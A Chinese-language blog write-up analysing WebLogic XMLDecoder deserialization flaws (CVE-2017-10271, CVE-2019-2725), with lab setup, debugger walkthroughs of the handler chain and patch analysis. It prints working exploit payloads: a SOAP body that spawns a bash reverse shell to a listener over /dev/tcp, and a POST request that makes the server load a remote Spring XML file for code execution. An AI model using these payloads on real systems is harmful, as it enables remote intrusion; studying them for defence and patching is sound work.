Weblogic XMLDecoder反序列化漏洞手记
Weblogic XMLDecoder反序列化漏洞手记
最近有些摸鱼。感谢@hu3sky&@passer6y在知识上的帮助,对于wls补丁、XML Decoder反序列化后触发sink的操作,摘抄了先知社区里师傅的分析(放在文后的链接中),对网上已有的分析和轮子取了部分精华摘录(为了一些基础概念不误人子弟)。所以本文重点还是在于从Java小白视角对漏洞成因和poc构造的分析
CVE-2017-10271
环境搭建
vulhub拉起容器后,进入容器,修改配置/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
,添加debug参数:
debugFlag="true"
export debugFlag
---本地修改后cp回去
docker cp 8a4cb0d768ad:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh ./setDomainEnv.sh
docker cp ./setDomainEnv.sh 8a4cb0d768ad:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
docker restart
重启容器,并将容器中root
文件夹拷贝到本地
docker cp 8a4cb0d768ad:/root ./weblogic_jars
用IDEA打开文件夹wlserver_10.3
,项目设置Weblogic自带的jdk1.6
将Middleware
文件夹下用到的所有jar包放到alllib
目录,并设置为项目的libraries
find ./ -name *.jar -exec cp {} ./alllib/ \;
增加一个Remote配置,Attach到JVM,端口号为8453
反编译weblogic.jar,可以看到jar的目录结构。或者直接反编译整个lib目录,
在/weblogic_jars/Oracle/alllib/weblogic.jar!/weblogic/wsee/jaxws/WLSServletAdapter.class#129行
下断点,向wls-wsat/CoordinatorPortType
发包可以成功断下
复现分析
前要
首先要搞懂一些概念,WebService到底是什么?
WebService是一种跨编程语言和跨操作系统平台的远程调用技术。所谓跨编程语言和跨操作平台,就是说服务端程序采用java编写,客户端程序则可以采用其他编程语言编写,反之亦然!跨操作系统平台则是指服务端程序和客户端程序可以在不同的操作系统上运行。
SOAP是服务于WebService的协议,SOAP协议 = HTTP协议 + XML数据格式
漏洞出现在wls-wsat.war中,此组件使用了weblogic自带的webservices处理程序来处理SOAP请求。可以看到这个组件下有webservices.xml
,而其他war组件没有解析、处理soap报文的能力,自然无法触及XMl Decoder的反序列化操作。
也就是说在wls-wsat
下所有的servlet映射都可解析soap请求,一共有这些对应的路由
<servlet-name>CoordinatorPortTypeServlethttp</servlet-name>
<url-pattern>/CoordinatorPortType</url-pattern>
<servlet-name>RegistrationPortTypeRPCServlethttp</servlet-name>
<url-pattern>/RegistrationPortTypeRPC</url-pattern>
<servlet-name>ParticipantPortTypeServlethttp</servlet-name>
<url-pattern>/ParticipantPortType</url-pattern>
<servlet-name>RegistrationRequesterPortTypeServlethttp</servlet-name>
<url-pattern>/RegistrationRequesterPortType</url-pattern>
<servlet-name>CoordinatorPortTypeServlethttp11</servlet-name>
<url-pattern>/CoordinatorPortType11</url-pattern>
<servlet-name>RegistrationPortTypeRPCServlethttp11</servlet-name>
<url-pattern>/RegistrationPortTypeRPC11</url-pattern>
<servlet-name>ParticipantPortTypeServlethttp11</servlet-name>
<url-pattern>/ParticipantPortType11</url-pattern>
exp
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.31.101/8888 0>&1</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
XML-Decoder反序列化触发
首先在weblogic.wsee.jaxws.workcontext.WorkContextServerTube类中获取XML数据最终传递给XMLDecoder来解析,其解析XML的调用链为
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
接着我们从POC发送后开始的调用栈开始分析。从下面的调用栈不难看出,weblogic.wsee.jaxws.HttpServletAdapter
在分发了POST请求后进入weblogic.wsee.jaxws.WLSServletAdapter#handle
对请求体进行处理,
断点打在handle
,调用super.handle(var1, var2, var3);
方法,这个方法对servlet的容器和request和response进行了封装
继续往后走到weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
对POST请求体加上一些头数据(var3)后调用weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
readHeaderOld
继续对请求体处理,先解析为XML流,再将XML流序列化到ByteArrayOutputStream
(数组输出流)中
这里的var5
就相当于序列化时的ObjectOutputStream
,同理var4
相当于封装在ObjectOutputStream
的数据流(OutputStream)。调用var3.brige()
将序列化的流数据写进var4
中,相当于writeObject()
过程。
而接下来的两步实际上是对XML数据流进行反序列化的操作
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
跟进WorkContextXmlInputAdapter
,对ByteArrayInputStream
解析出的数组输入流建立XMLdecoder对象
退出当前栈顶,将此XMLdecoder对象赋值给变量var6
。继续跟进readHeaderOld#this.receive
,经过下图的流程最终执行readObject()
操作后,触发XML-Decoder反序列化解析的漏洞利用
补丁简析
在此后的几个版本,都有黑名单的绕过。因为接下来要分析CVE-2019-2725,就摘抄了Weblogic到10.3.6补丁。可以看到,补丁可以分为三个部分,我们一部分一部分看,首先构造的payload中不能存在名字为object、new、method的元素节点,其次限制了void元素只能使用index属性或者空属性,以上两点就限制了我们目前能想到所有指定反序列化类名的poc,没了method元素,也没了带method属性的void元素,我们就不能指定任意的对象方法,最后array元素的class属性还只能是byte,进一步限定了对传入反序列化类的对象属性值。
CVE-2019-2725
xmldecoder的官方文档很容易发现class元素节点同样可以指定任意的反序列化类名
结合上面的补丁已知,现在能够利用的条件:1、能够实例化任意类 2、但无法调用类的任意方法。3、需要找到一个可以利用构造函数的类,且构造函数接收的参数必须是字节数组或者是java中的基础数据类型,比如string,int这些
环境搭建
docker pull ismaleiva90/weblogic12
docker run -d -p 7001:7001 -p 8453:8453 -v /Users/Hpdata/DockerHubs/CVE-2019-2725/setDomainEnv.sh:/u01/oracle/weblogic/user_projects/domains/base_domain/bin/setDomainEnv.sh --name weblogic_2019-2725 ismaleiva90/weblogic12:latest
我这里是本地setDomainEnv.sh
覆盖了环境里的setDomainEnv.sh
,主要修改两个地方:1、增加debugFlag参数;2、修改PRODUCTION_MODE
为空
依然是把源码拉出来、jar打包。idea打开weblogic_jars文件夹,再设置jdk和lib,最后配一下Attach JVM到8453即可(详细步骤见上文)
docker cp weblogic_2019-2725:/u01/oracle/weblogic ./weblogic_jars
cd weblogic_jars
mkdir alllib
find ./ -name *.jar -exec cp {} ./alllib/ \;
docker cp weblogic_2019-2725:/usr/java/jdk1.8.0_25 ./jdk
调试踩坑
网上关于12.1.3分析断点都打在weblogic/wsee/async/AsyncResponseHandler.class
,虽然在web.xml
里写的是Bean处理请求,但handler才能收到数据。
如果从oracle官方下的wls12.1.3那么AsyncResponseHandler.class
的位置在wseeclient.jar!/weblogic/wsee/async/AsyncResponseHandler.class
,但是这个环境却不是这样,它把一些jar打包重新放在oracle_common文件下了,而且有些war的包也被打乱了,双击shift后搜索AsyncResponseHandler.class
才发现需要的weblogic
包在weblogic_jars/oracle_common/modules/com.oracle.webservices.wls.wls-soap-stack-impl_12.1.3.jar!/weblogic/wsee/async/AsyncResponseHandler.class
,测试能成功断下来
UnitOfWorkChangeSet二次反序列化通过JtaTransactionManager实现jndi注入
找了一个传入构造函数参数是字节数组(byte[] {})的恶意类UnitOfWorkChangeSet
,oracle.toplink.internal.sessions.UnitOfWorkChangeSet
将接收到的byte数组反序列化,如果本地有Gadget则可二次反序列化造成RCE,Weblogic自带的jdk版本为1.6+。
但是UnitOfWorkChangeSet
只能打10.3.6,所以poc和思路也不写了,看下面文章就行:
CVE-2019-2725 二次反序列化jndi注入分析
FileSystemXmlApplicationContext 实现RCE
利用的Gadget为FileSystemXmlApplicationContext,这个是Spring用于加载配置文件去完成上下文的实例化工作的类
POC
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.31.101:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-type: text/xml
Content-Length: 662
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<asy:onAsyncDelivery/>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>http://192.168.31.101:9999/poc.xml</string></void></class></java></work:WorkContext>
</soapenv:Header>
<soapenv:Body>
</soapenv:Body>
</soapenv:Envelope>
XML-decoder反序列化触发
在环境搭建的时候我下断在AsyncResponseHandler.class
其实是不太合理的,不过应急分析的话这样下断是正解思路,因为AsyncResponseHandler.class
是从exp溯源war包后中判断的。
既然这篇是事后分析,为了更好的说明_async
下webservice如何从处理的soap报文请求到解析XML decoder的流程,断点其实应该下在weblogic/wsee/server/servlet/SoapProcessor.class#process
带着request
请求进入SoapProcessor.class#handlePost
处理,经过一些调度后步入weblogic/wsee/handler/HandlerIterator.class#handleRequest
函数,for循环的主要逻辑为遍历获取的handles数组,对每一个获取的handler调用handleRequest
方法
看一下都有哪些handler
(如下图),很明显我们在搭建环境时候的断点所在为第12个handler。
不过AsyncResponseHandler
并不是触发XML-Decoder反序列化的地方,只是走通poc必须要满足条件的Handler之一,所以在前文也提到并没有把入口断点打在此。
即然也要满足条件,那么还得继续下断在weblogic/wsee/async/AsyncResponseHandler.class#handleRequest
。函数逻辑很简单,在接收到SOAP报文后判断是否包含RelatesTo
标签,否则直接return false了
String relatesTo = (String)mc.getProperty("weblogic.wsee.addressing.RelatesTo");
if (relatesTo == null) {
return false;
}
看手册:https://www.w3.org/Submission/ws-addressing/,在报文中添加如下即可
<wsa:MessageID> xs:anyURI </wsa:MessageID>
<wsa:RelatesTo>xs:anyURI</wsa:RelatesTo>
<wsa:To>xs:anyURI</wsa:To>
<wsa:Action>xs:anyURI</wsa:Action>
接下来关键的Handler为第十五个即OperationLookupHandler
,在propertyMap
中不存在weblogic.wsee.ws.server.OperationName
匹配项,所以会跳到try代码块中
从当前的propertyMap
也可以看到并不存在键值为weblogic.wsee.ws.server.OperationName
的Map元素
那么向下走跟进getOperation()
操作,从soap:Envelope
中获取命名空间的值与dispatchMap
中的值进行匹配,从dispacthMap中我们可以看到必须在遍历body或header时找到一个属性的值为:{http://www.bea.com/async/AsyncResponseService}onAsyncDelivery
,才能够return。
其实就是在Header或者Body里面的标签里必须要有命名空间里定义的标签(这里是asy),那么这里就把body/header里的标签定义为<asy:onAsyncDelivery/>
,类似于下图这种用法
通过EXP可以看到我们在envolope
中定义了xmlns:asy
,并且在header
中添加了<asy:onAsyncDelivery/>
。所以在走到这部分for循环遍历时,我们能够让标签名与命名空间拼接为{http://www.bea.com/async/AsyncResponseService}onAsyncDelivery
,成功返回Map里的匹配值
过五关斩六将,最后一个handler是WorkAreaServerHandler#handleRequest
通过getHeader
获取的WorkAreaHeader
不为空,则必须要在soap header写workContext,且获取header
后写为输入流后交于XMldecoder处理
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>http://127.0.0.1:9999/poc.xml</string></void></class></java></work:WorkContext>
FileSystemXmlApplicationContext利用链构造
这条链真的很复杂,膜爆能挖出来的大手子
从FileSystemXmlApplicationContext
的构造方法跟进,传入的参数为攻击者恶意构造的远程xml文件<void><string>http://192.168.31.101:9999/poc.xml</string></void>
,经过如下调用来重载上下文的配置
获取了远程输入流后,对读取到poc.xml
的bean进行一系列初始化操作
最主要的就是创建bean实例,对bean中的参数进行赋值后执行bean中的init
方法
最终用反射调用ProcessBuilder.start()
,实现RCE